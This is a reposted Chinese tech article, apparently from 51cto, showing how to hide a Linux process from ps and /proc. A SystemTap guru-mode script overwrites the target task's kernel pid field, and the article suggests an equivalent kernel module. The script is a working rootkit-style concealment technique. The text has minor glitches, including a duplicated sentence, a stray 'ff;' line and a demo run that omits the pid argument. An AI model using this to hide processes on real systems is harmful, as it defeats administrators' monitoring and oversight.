27

一行代码如何隐藏Linux进程?

 3 years ago
source link: http://os.51cto.com/art/202009/625737.htm
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

ym6vQjb.jpg!mobile

总有朋友问隐藏Linux进程的方法,我说你想隐藏到什么程度,是大隐于内核,还是小隐于用户。网上通篇论述的无外乎 hook 掉 procfs 或者类似的用户态方案,也都难免长篇大论,我说,这些场面都太大了,太复杂了。对于希望马上看到效果的而言,看到这么一堆复杂的东西,大概率望而却步。

本文介绍一种将Linux进程小隐于用户的非常规方法,仅仅一行代码:

修改掉进程的pid即可。

注意是小隐,所以,不值得反制,逗一下高级会议工程师搞个恶作剧玩玩得了。

target->pid = 0x7fffffff; 

完整的脚本如下:

#!/usr/bin/stap -g 
# hide.stp 
 
global pid; 
 
function hide(who:long) 
%{ 
    struct task_struct *target; 
 
    target = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID); 
    target->pid = 0x7fffffff; 
%} 
 
probe begin 
{ 
    pid = $1 
    hide(pid); 
    exit(); 
} 
ff; 

来来来,试一下:

[root@localhost system]# ./tohide & 
[1] 403 
[root@localhost system]# ./hide.stp 
[root@localhost system]#  

用下面的命令可以检测所有可显示进程的二进制文件:

for pid in $(ls /proc|awk '/^[0-9]+/{print $1}'); do  
    ls -l /proc/$pid/exe;  
done 

procfs里没了,ps当然就检测不到了。

如果你觉得guru 模式的 stap 怪怪的,那么你完全可以编写自己独立的 Linux kernel module,采用修改完即退的方法:

target->pid = xxxx; 

return -1;是不是比各种hook法简单多了,所谓的动数据而不要动代码!是不是比各种 hook 法简单多了,所谓的动数据而不要动代码!

简单的说一下原理:

task被创建的时候,根据其pid注册procfs目录结构。

展示procfs目录结构的时候,遍历task list以其pid作为key来查找procfs目录结构。

0x7fffffff(或者任何其它合理的值)根本没有注册过,当然无法显示。

【责任编辑:庞桂玉 TEL:(010)68476606】


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK